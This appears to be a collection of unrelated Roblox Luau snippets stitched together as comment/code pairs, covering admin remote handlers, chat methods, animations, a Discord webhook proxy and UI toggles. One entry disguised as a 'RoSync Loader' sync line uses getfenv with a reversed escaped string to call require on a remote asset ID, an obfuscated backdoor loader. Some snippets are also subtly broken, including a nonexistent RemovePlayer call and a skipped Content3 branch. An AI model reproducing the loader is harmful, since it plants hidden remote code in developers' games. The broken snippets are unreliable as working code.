local str=""
local inf
while true do
inf=plr:FindFirstChild("Info")
if inf ~= nil then
str=plr.Info.Value
if str~="" then
me.Text = str
wait(2)
-- уберётся только локальное сообщение -- серверное очищать надо на сервере!!!
str = ""
plr.Info.Value=""
me.Text = ""
end
end
wait(1)
end
|
-- << REMOTE HANDLER>> |
for _, object in pairs(main.signals:GetChildren()) do
--Remove functions
if object:IsA("RemoteFunction") then
local rfunction = object
function rfunction.OnServerInvoke(player,args,...)
local pdata = main.pd[player]
if pdata then
--Sanity Checks
checkRemoteLimit(player, object)
---------------------------------------------
if rfunction.Name == "RetrieveData" then
if not main.initialized then
main.signals.Initialized.Event:Wait()
end
if not pdata or not pdata.SetupData then
repeat wait(0.1) pdata = main.pd[player] until (pdata and pdata.SetupData) or not player
end
local dataToReturn = {
["pdata"] = pdata;
permissions = main.permissions;
commandInfo = main.commandInfo;
commandRanks = main.commandRanks;
infoOnAllCommands = main.infoOnAllCommands;
settings = {
Ranks = main.settings.Ranks;
UniversalPrefix = main.settings.UniversalPrefix;
Colors = main.settings.Colors;
ThemeColors = main.settings.ThemeColors;
Cmdbar = main.settings.Cmdbar;
Cmdbar2 = main.settings.Cmdbar2;
ViewBanland = main.settings.ViewBanland;
DisableAllNotices = main.settings.DisableAllNotices;
RankRequiredToViewPage = main.settings.RankRequiredToViewPage;
OnlyShowUsableCommands = main.settings.OnlyShowUsableCommands;
CommandLimits = main.settings.CommandLimits;
RankRequiredToViewIcon = main.settings.RankRequiredToViewIcon;
};
morphNames = main.morphNames;
toolNames = main.toolNames;
ownerName = main.ownerName;
ownerId = main.ownerId;
gameName = main.gameName;
hdAdminGroup = main.hdAdminGroup;
};
return dataToReturn
---------------------------------------------
elseif rfunction.Name == "RequestCommand" then
local success = main:GetModule("Parser"):ParseMessage(player, args, false, ...)
return success
---------------------------------------------
elseif rfunction.Name == "ChangeSetting" then
local settingName = args[1]
local settingValue = main.settings[settingName]
local newValue = args[2]
if main:GetModule("cf"):FindValue(main.validSettings, settingName) then
if settingName == "Prefix" then
if #newValue ~= 1 then
return "Prefix can only be 1 character!"
elseif newValue == main.settings.UniversalPrefix then
return "Cannot set to the UniversalPrefix!"
end
elseif string.sub(settingName, -7) == "SoundId" and not main:GetModule("cf"):CheckIfValidSound(newValue) then
return "Invalid sound!"
elseif tonumber(settingValue) and not tonumber(newValue) then
return "Invalid number!"
end
main:GetModule("PlayerData"):ChangeStat(player, settingName, newValue)
return "Success"
end
---------------------------------------------
elseif rfunction.Name == "RestoreDefaultSettings" then
local success = "Success"
for i,v in pairs(main.validSettings) do
local originalSetting = main.settings[v]
if originalSetting ~= nil then
main:GetModule("PlayerData"):ChangeStat(player, v, originalSetting)
else
success = "Error"
end
end
return success
---------------------------------------------
elseif rfunction.Name == "RetrieveServerRanks" then
local serverRankInfo = {}
for i, plr in pairs(main.players:GetChildren()) do
local pdata = main.pd[plr]
if pdata and pdata.Rank > 0 then
local rankType = main.rankTypes[main:GetModule("cf"):GetRankType(plr)]
table.insert(serverRankInfo, {Player = plr, RankId = pdata.Rank, RankType = rankType})
end
end
return serverRankInfo
---------------------------------------------
elseif rfunction.Name == "RetrieveBanland" then
local banlandInfo = {{},{}}
local pdata = main.pd[player]
if pdata and pdata.Rank >= main.settings.ViewBanland then
local allServerBans = {}
local allServerBanRecordsToMerge = {main.sd.Banland.Records, main.settingsBanRecords}
for _, records in pairs(allServerBanRecordsToMerge) do
for i, record in pairs(records) do
table.insert(allServerBans, record)
end
end
local toScan = {main.serverBans, allServerBans}
local timeNow = os.time()
local usersAdded = {}
for section, records in pairs(toScan) do
for i, record in pairs(records) do
local banTime = record.BanTime
if (not tonumber(banTime) or timeNow < (banTime-30)) and not usersAdded[record.UserId] then
usersAdded[record.UserId] = true
table.insert(banlandInfo[section], record)
end
end
end
end
return banlandInfo
---------------------------------------------
elseif rfunction.Name == "RetrieveRanksInfo" then
local permRanksInfo = {}
local ranks = {}
local permissions = {}
local pdata = main.pd[player]
if pdata and main.sd.PermRanks then
--PermRanksInfo
if pdata.Rank >= main.settings.RankRequiredToViewRankType.specificusers or 5 then
permRanksInfo = main.sd.PermRanks.Records
end
--Ranks
for i,v in pairs(main.settings.Ranks) do
local rankId = v[1]
if pdata.Rank >= (main.settings.RankRequiredToViewRank[rankId] or 0) then
table.insert(ranks, v)
end
end
--Permissions
for pName, pDetails in pairs(main.permissions) do
pName = string.lower(pName)
local pRank = main.settings.RankRequiredToViewRankType[pName]
if pdata.Rank >= (pRank or 0) then
permissions[pName] = pDetails
end
end
end
return {
["PermRanks"] = permRanksInfo;
["Ranks"] = ranks;
["Permissions"] = permissions;
}
---------------------------------------------
elseif rfunction.Name == "ReplyToPrivateMessage" then
local targetPlr = args[1]
local targetPlrPerms = main.permissionToReplyToPrivateMessage[targetPlr]
if targetPlrPerms and targetPlrPerms[player] then
main.permissionToReplyToPrivateMessage[targetPlr][player] = nil
local replyMessage = main:GetModule("cf"):FilterString(args[2], player, targetPlr)
main:GetModule("cf"):PrivateMessage(player, targetPlr, replyMessage)
end
---------------------------------------------
elseif rfunction.Name == "RemovePermRank" then
if pdata.Rank >= main.settings.RankRequiredToViewRankType.specificusers and pdata.Rank >= main.commandRanks.permrank then
local userId = args[1]
local userName = args[2]
local record = main.sd.PermRanks.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.PermRanks.Records, userId)]
if record then
record.RemoveRank = true
main:GetModule("SystemData"):InsertStat("PermRanks", "RecordsToModify", record)
main:GetModule("cf"):FormatAndFireNotice(player, "RemovePermRank", userName)
end
end
---------------------------------------------
elseif rfunction.Name == "RetrieveAlertData" then
if pdata.Rank >= main.commandRanks.globalalert then
local data = {
["Title"] = main:GetModule("cf"):FilterBroadcast(args.Title or "", player),
["Message"] = main:GetModule("cf"):FilterBroadcast(args.Message or "", player),
["Server"] = args.Server,
["PlayerArg"] = args.PlayerArg
}
alertData[player] = data
return data
end
---------------------------------------------
elseif rfunction.Name == "ExecuteAlert" then
local data = alertData[player]
if data then
local successMessage = "Alert successful!"
local server = data.Server
-- << GLOBAL VOTE >>
if server == "All" then
successMessage = "Global "..successMessage
main.messagingService:PublishAsync(topics.GlobalAlert, data)
-- << SERVER VOTE >>
else
local targetPlayers = main:GetModule("Qualifiers"):ParseQualifier(data.PlayerArg, player)
for plr,_ in pairs(targetPlayers) do
main.signals.CreateAlert:FireClient(plr, {data.Title, data.Message})
end
end
main.signals.Notice:FireClient(player, {main.hdAdminCoreName, successMessage})
alertData[player] = nil
return true
end
main:GetModule("cf"):FormatAndFireError(player, "AlertFail")
---------------------------------------------
elseif rfunction.Name == "RetrievePollData" then
if pdata.Rank >= main.commandRanks.vote then
pollCount = pollCount + 1
--local server = (type(args.Server) == "boolean" and args.Server) or true
local voteTime = tonumber(args.VoteTime)
if not voteTime then
voteTime = 20
elseif voteTime > 60 then
voteTime = 60
elseif voteTime < 1 then
voteTime = 1
end
local question = main:GetModule("cf"):FilterBroadcast(args.Question or "", player)
local answers = {}
for i, answer in pairs(args.Answers) do
if i > 10 then
break
end
table.insert(answers, main:GetModule("cf"):FilterBroadcast(answer or "", player))
end
if #answers < 1 then
return "Must have at least 1 answer!"
end
local senderId = player.UserId
local senderName = player.Name
local data = {
["VoteTime"] = voteTime,
["Question"] = question,
["Answers"] = answers,
["Server"] = args.Server,
["ShowResultsTo"] = args.ShowResultsTo,
["PlayerArg"] = args.PlayerArg,
["SenderName"] = player.Name,
["PollId"] = pollCount
}
pollData[player] = data
return data
end
---------------------------------------------
elseif rfunction.Name == "ExecutePoll" then
local data = pollData[player]
if data then
local successMessage = "Poll successful! The results will appear shortly."
local server = data.Server
-- << GLOBAL VOTE >>
if server == "All" then
if pdata.Rank >= main.commandRanks.globalvote then
spawn(function()
successMessage = "Global "..successMessage
--Setup topic and SubscribeAsync
local scores = {}
for i = 1, #data.Answers+1 do
table.insert(scores, 0)
end
local uniquePollTopic = "Poll"..data.PollId
data.UniquePollTopic = uniquePollTopic
local serversResponded = 0
local subFunc = main.messagingService:SubscribeAsync(uniquePollTopic, function(message)
local serverScores = message.Data
for i,v in pairs(serverScores) do
scores[i] = scores[i] + v
end
serversResponded = serversResponded + 1
end)
--Begin polls for all servers
main.messagingService:PublishAsync(topics.BeginPoll, data)
local totalServers = main:GetModule("cf"):GetAmountOfServers()
for i = 1, data.VoteTime+2 do
wait(1)
if serversResponded >= totalServers then
break
end
end
subFunc:Disconnect()
--Calculate results
local highestScore = 0
for i,v in pairs(scores) do
if v > highestScore then
highestScore = v
end
end
data.Results = {}
for i = 1, #data.Answers+1 do
local answer = data.Answers[i]
local answerVotes = scores[i]
table.insert(data.Results, {
Answer = answer or "Did Not Vote";
Votes = answerVotes;
Percentage = answerVotes/highestScore;
}
)
end
--Display results
if data.ShowResultsTo == "You" then
main:GetModule("cf"):DisplayPollResults(player, data)
else
main.messagingService:PublishAsync(topics.DisplayPollResultsToServer, data)
end
end)
end
-- << SERVER VOTE >>
elseif pdata.Rank >= main.commandRanks.vote then
spawn(function()
--Get participants
local targetPlayers = main:GetModule("Qualifiers"):ParseQualifier(data.PlayerArg, player)
local participants = {}
for plr,_ in pairs(targetPlayers) do
table.insert(participants, plr)
end
--Setup poll and retrieve data
local newData = main:GetModule("cf"):BeginPoll(data, participants)
--Display results
local showResultsToTable = participants
if data.ShowResultsTo == "You" then
showResultsToTable = {player}
end
for i, plr in pairs(showResultsToTable) do
main:GetModule("cf"):DisplayPollResults(plr, data)
end
end)
else
return false
end
pollData[player] = nil
main.signals.Notice:FireClient(player, {main.hdAdminCoreName, successMessage})
return true
end
main:GetModule("cf"):FormatAndFireError(player, "PollFail")
---------------------------------------------
elseif rfunction.Name == "RetrieveBroadcastData" then
if pdata.Rank >= main.commandRanks.globalannouncement then
local title = args.Title
local displayFrom = args.DisplayFrom
local color = args.Color
local message = args.Message
if title ~= "Global Announcement" then
title = main:GetModule("cf"):FilterBroadcast(title, player)
end
if type(displayFrom) ~= "boolean" then
displayFrom = true
end
color = main:GetModule("cf"):GetColorFromString(color:match("%a+"))
if not color then
color = Color3.fromRGB(255,255,255)
end
color = {color.r, color.g, color.b}
message = main:GetModule("cf"):FilterBroadcast(message, player)
local senderId = player.UserId
local senderName = player.Name
local data = {
["Title"] = title,
["DisplayFrom"] = displayFrom,
["Color"] = color,
["Message"] = message,
["SenderId"] = player.UserId,
["SenderName"] = player.Name
}
broadcastData[player] = data
return data
end --RetrievePollData
---------------------------------------------
elseif rfunction.Name == "ExecuteBroadcast" then
if pdata.Rank >= main.commandRanks.globalannouncement then
local data = broadcastData[player]
if data then
main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastData", data)
main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastTime", os.time())
main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastId", math.random(1,10000000))
main:GetModule("cf"):FormatAndFireNotice(player, "BroadcastSuccessful")
broadcastData[player] = nil
return true
end
end
main:GetModule("cf"):FormatAndFireNotice(player, "BroadcastFailed")
---------------------------------------------
elseif rfunction.Name == "GetPing" then
return args
---------------------------------------------
end
end
end
--Remote events
elseif object:IsA("RemoteEvent") then
local revent = object
revent.OnServerEvent:Connect(function(player, commandName, args)
local pdata = main.pd[player]
if pdata and checkRemoteLimit(player, object) then
---------------------------------------------
if revent.Name == "ReplicateEffect" then
local command = main.commands[string.lower(commandName)]
if command and command.ReplicationEffect then
for i, plr in pairs(main.players:GetChildren()) do
local plrHead = main:GetModule("cf"):GetHead(plr)
if plr ~= player and plrHead and player:DistanceFromCharacter(plrHead.Position) <= 100 then
main.signals.ReplicationEffectClientCommand:FireClient(plr, {commandName, player, args})
end
end
end
end
---------------------------------------------
end
end)
end
end
|
-- Function to make a player explode |
local function explodePlayer(player)
if player.Character then
local humanoid = player.Character:FindFirstChild("Humanoid")
if humanoid then
-- Listen for the jump event
local connection
connection = humanoid:GetPropertyChangedSignal("Jump"):Connect(function()
if humanoid:GetState() == Enum.HumanoidStateType.Seated then
return
end
-- Remove the connection to prevent multiple explosions
connection:Disconnect()
-- Create an explosion at the player's position
local explosion = Instance.new("Explosion")
explosion.Position = humanoid.Parent.HumanoidRootPart.Position
explosion.Parent = game.Workspace
-- Respawn the player (optional)
wait(5) -- You can adjust the respawn delay as needed
game:GetService("StarterPlayer"):RemovePlayer(player)
end)
end
end
end
|
--////////////////////////////// Methods
--////////////////////////////////////// |
local methods = {}
methods.__index = methods
function methods:SayMessage(message, channelName, extraData)
if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end
if (not channelName) then return end
local channel = self.Channels[channelName:lower()]
if (not channel) then
error("Speaker is not in channel \"" .. channelName .. "\"")
end
local messageObj = channel:InternalPostMessage(self, message, extraData)
if (messageObj) then
local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end)
if not success and err then
print("Error saying message: " ..err)
end
end
return messageObj
end
function methods:JoinChannel(channelName)
if (self.Channels[channelName:lower()]) then
warn("Speaker is already in channel \"" .. channelName .. "\"")
return
end
local channel = self.ChatService:GetChannel(channelName)
if (not channel) then
error("Channel \"" .. channelName .. "\" does not exist!")
end
self.Channels[channelName:lower()] = channel
channel:InternalAddSpeaker(self)
local success, err = pcall(function()
self.eChannelJoined:Fire(channel.Name, channel:GetWelcomeMessageForSpeaker(self))
end)
if not success and err then
print("Error joining channel: " ..err)
end
end
function methods:LeaveChannel(channelName)
if (not self.Channels[channelName:lower()]) then
warn("Speaker is not in channel \"" .. channelName .. "\"")
return
end
local channel = self.Channels[channelName:lower()]
self.Channels[channelName:lower()] = nil
channel:InternalRemoveSpeaker(self)
local success, err = pcall(function()
self.eChannelLeft:Fire(channel.Name)
end)
if not success and err then
print("Error leaving channel: " ..err)
end
end
function methods:IsInChannel(channelName)
return (self.Channels[channelName:lower()] ~= nil)
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.Channels) do
table.insert(list, channel.Name)
end
return list
end
function methods:SendMessage(message, channelName, fromSpeaker, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName))
end
end
function methods:SendSystemMessage(message, channelName, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendSystemMessageToSpeaker(message, self.Name, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName))
end
end
function methods:GetPlayer()
return self.PlayerObj
end
function methods:SetExtraData(key, value)
self.ExtraData[key] = value
self.eExtraDataUpdated:Fire(key, value)
end
function methods:GetExtraData(key)
return self.ExtraData[key]
end
function methods:SetMainChannel(channelName)
local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end)
if not success and err then
print("Error setting main channel: " ..err)
end
end
|
--[[
While the humanoid is running, update isMoving, which is used to generate interest points
]] |
local function connectInterestToCharacter(character)
local humanoid = character:FindFirstChild("Humanoid")
connections.running =
humanoid.Running:Connect(
function(speed)
if speed > 0.1 then
isMoving = true
else
isMoving = false
end
end
)
end
|
--Loop to autosave data every 2 minutes |
spawn(function()
while wait(121) do --Loop every 2 minutes and save every player's data
for _,Player in pairs(game.Players:GetPlayers()) do
beforeSave(Player)
end
end
end)
|
-- IGNORE THIS UNLESS YOU KNOW WHAT YOU ARE DOING.
-- YEAH, I KNOW THIS IS MESSY. MY APOLOGIES. |
if ContentAMOUNT == 10 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = true
Content.Content7.Visible = true
Content.Content8.Visible = true
Content.Content9.Visible = true
Content.Content10.Visible = true
else
end
if ContentAMOUNT == 9 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = true
Content.Content7.Visible = true
Content.Content8.Visible = true
Content.Content9.Visible = true
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 8 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = true
Content.Content7.Visible = true
Content.Content8.Visible = true
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 7 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = true
Content.Content7.Visible = true
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 6 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = true
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 5 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = true
Content.Content6.Visible = false
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 4 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = true
Content.Content5.Visible = false
Content.Content6.Visible = false
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 3 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = true
Content.Content4.Visible = false
Content.Content5.Visible = false
Content.Content6.Visible = false
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 2 then
Content.Content1.Visible = true
Content.Content2.Visible = true
Content.Content3.Visible = false
Content.Content4.Visible = false
Content.Content5.Visible = false
Content.Content6.Visible = false
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
if ContentAMOUNT == 1 then
Content.Content1.Visible = true
Content.Content2.Visible = false
Content.Content4.Visible = false
Content.Content5.Visible = false
Content.Content6.Visible = false
Content.Content7.Visible = false
Content.Content8.Visible = false
Content.Content9.Visible = false
Content.Content10.Visible = false
else
end
|
-- GAMEPASSES |
Gamepasses = {
[3000
] = "VIP";
};
|
--------------------------------------------------------------- |
function onChildAdded(child)
if child.Name == "SeatWeld" then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human IN")
seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car"
seat.Parent.Name = human.Parent.Name.."'s Car"
s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
s.Parent.RDetector:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
seat.Start:Play()
wait(1)
seat.Start:Stop()
seat.Engine:Play()
end
end
end
function onChildRemoved(child)
if (child.Name == "SeatWeld") then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human OUT")
seat.Parent.Name = "Empty Car"
seat.SirenControl.Control.CarName.Value = "Empty Car"
game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
game.Players:findFirstChild(human.Parent.Name).PlayerGui.RDetector:remove()
seat.Engine:Stop()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
-- This module was created by LuaScape (Roblox: Snawrk)
-- Proxy Created By LewisTehMinerz
-- DO NOT Edit the code below unless you know what you're doing!
--------------------------------------------------------------------------------------- |
local webhookService = {}
local https = game:GetService("HttpService")
function webhookService:createMessage(url, message : string)
local data = {
["content"] = message
}
local finalData = https:JSONEncode(data)
local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")
local good, bad = pcall(function()
https:PostAsync(finalUrl, finalData)
end)
if good then
print("Webhook Request Success!")
else
print("Webhook Request Failed " .. bad .. " Trying backup URL")
https:PostAsync(finalBackupUrl, finalData)
print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")
end
end
function webhookService:createEmbed(url, title : string, message :string , fields, image)
local data = {
['content'] = "",
['embeds'] = {{
["thumbnail"] = {["url"] = image},
['title'] = "**"..title.."**",
['description'] = message,
['type'] = "rich",
["color"] = tonumber(0xffffff),
['fields'] = fields
},
},
}
local finalData = https:JSONEncode(data)
local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")
local good, bad = pcall(function()
https:PostAsync(finalUrl, finalData)
end)
if good then
print("Webhook Request Success!")
else
print("Webhook Request Failed " .. bad .. " Trying backup URL")
https:PostAsync(finalBackupUrl, finalData)
print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")
end
end
function webhookService:createAuthorEmbed(url, authorName : string, iconurl, description : string, fields)
local data = {
["embeds"] = {{
["author"] = {
["name"] = authorName,
["icon_url"] = iconurl,
},
["description"] = description,
["color"] = tonumber(0xFFFAFA),
["fields"] = fields
}},
}
local finalData = https:JSONEncode(data)
local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")
local good, bad = pcall(function()
https:PostAsync(finalUrl, finalData)
end)
if good then
print("Webhook Request Success!")
else
print("Webhook Request Failed " .. bad .. " Trying backup URL")
https:PostAsync(finalBackupUrl, finalData)
print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")
end
end
return webhookService
|
--[[ Last synced 10/10/2022 07:39 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
-- Errors that are thrown while unmounting (or after in the case of passive effects)
-- should bypass any error boundaries that are also unmounting (or have unmounted)
-- and be handled by the nearest still-mounted boundary.
-- If there are no still-mounted boundaries, the errors should be rethrown. |
exports.skipUnmountedBoundaries = true
|
---[[ Command/Filter Priorities ]] |
module.VeryLowPriority = -5
module.LowPriority = 0
module.StandardPriority = 10
module.HighPriority = 20
module.VeryHighPriority = 25
return module
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.ClassName == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.ClassName == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if toolAnim == "None" then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if toolAnim == "Slash" then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if toolAnim == "Lunge" then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then |
-- External services |
local tweenService = game:GetService("TweenService")
|
--[=[
@function removeKeys
@within Dictionary
@param dictionary {[K]: V} -- The dictionary to remove the keys from.
@param keys ...K -- The keys to remove.
@return {[K]: V} -- The dictionary without the given keys.
Removes the given keys from the given dictionary.
```lua
local dictionary = { hello = "world", cat = "meow", dog = "woof", unicorn = "rainbow" }
local withoutCatDog = RemoveKeys(dictionary, "cat", "dog") -- { hello = "world", unicorn = "rainbow" }
```
]=] |
local function removeKeys<K, V>(dictionary: { [K]: V }, ...: K): { [K]: V }
local result = copy(dictionary)
for _, key in ipairs({ ... }) do
result[key] = nil
end
return result
end
return removeKeys
|
-- find the character associated with a part if there is one. |
local function FindCharacterAncestor(subject)
if subject and subject ~= Workspace then
local humanoid = subject:FindFirstChild('Humanoid')
if humanoid then
return subject, humanoid
else
return FindCharacterAncestor(subject.Parent)
end
end
return nil
end
|
--{{ Checks If script possible }}-- |
if game.Players.LocalPlayer:WaitForChild("Drift Points") then
else
script:Destroy()
end
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local scr = client.UI.Prepare(script.Parent.Parent)
local main = scr.Main
local t1 = main.Title
local t2 = main.Message
local msg = data.Message
local color = data.Color or Color3.fromRGB(255, 78, 78)
local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local consoleOpenTween = service.TweenService:Create(main, tweenInfo, {
Position = UDim2.new(0.11, 0, 0.35, 0);
})
local consoleCloseTween = service.TweenService:Create(main, tweenInfo, {
Position = UDim2.new(0.11, 0, 0, -200);
})
local found = client.UI.Get("Output")
if found then
for i,v in pairs(found) do
local p = v.Object
if p and p.Parent then
local consoleOpenTween1 = service.TweenService:Create(p.Main, tweenInfo, {
Position = UDim2.new(0.11, 0, 0.35, p.Main.Position.Y.Offset+55);
})
consoleOpenTween1:Play()
end
end
end
t2.TextColor3 = color
main.BackgroundColor3 = color
t2.Text = msg
t2.Font = "Gotham"
consoleOpenTween:Play()
--t2.Position = UDim2.new(0, 0, 0.35, 0)
gTable.Ready()
wait(5)
consoleCloseTween:Play()
wait(2)
gTable.Destroy()
end
|
--[[
@class SoftShutdownTranslator
]] |
local require = require(script.Parent.loader).load(script)
return require("JSONTranslator").new("en", {
shutdown = {
lobby = {
title = "Rebooting servers for update.";
subtitle = "Teleporting back in a moment...";
};
restart = {
title = "Rebooting servers for update.";
subtitle = "Please wait...";
};
complete = {
title = "Rebooting servers for update.";
subtitle = "Update complete...";
};
};
})
|
-- ProductId 1218012019 for 1000 Cash |
developerProductFunctions[Config.DeveloperProductIds["1000 Cash"]] = function(receipt, player)
-- Logic/code for player buying 1000 Cash (may vary)
local leaderstats = player:FindFirstChild("leaderstats")
local cash = leaderstats and leaderstats:FindFirstChild("Cash")
if cash then
if Utilities:OwnsGamepass(player, gamepassID) then
cash.Value += 2000
else
cash.Value += 1000
end
return true
end
end
|
--Tone2Switch |
Ton2Swch.Changed:Connect(function()
if Ton2Swch.Value == true then
Ton2Swch.Parent.P1.Transparency = 1
Ton2Swch.Parent.P2.Transparency = 0
ClickSound:Play()
Tone2Val.Test.Value = true
else
Ton2Swch.Parent.P1.Transparency = 0
Ton2Swch.Parent.P2.Transparency = 1
ClickSound:Play()
Tone2Val.Test.Value = false
end
end)
Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
if Ton1Swch.Value == true then
Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
Ton1Swch.Value = false
else
Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
Ton1Swch.Value = true
end
end)
Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
if Ton2Swch.Value == true then
Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
Ton2Swch.Value = false
else
Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
Ton2Swch.Value = true
end
end)
ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
if ModSwch.Value == true then
ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
ModSwch.Value = false
else
ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
ModSwch.Value = true
end
end)
function Lock()
if script.Parent.Locked.Value == true then
ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
else
ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
end
end
Lock()
script.Parent.Locked.Changed:Connect(function()
Lock()
end)
|
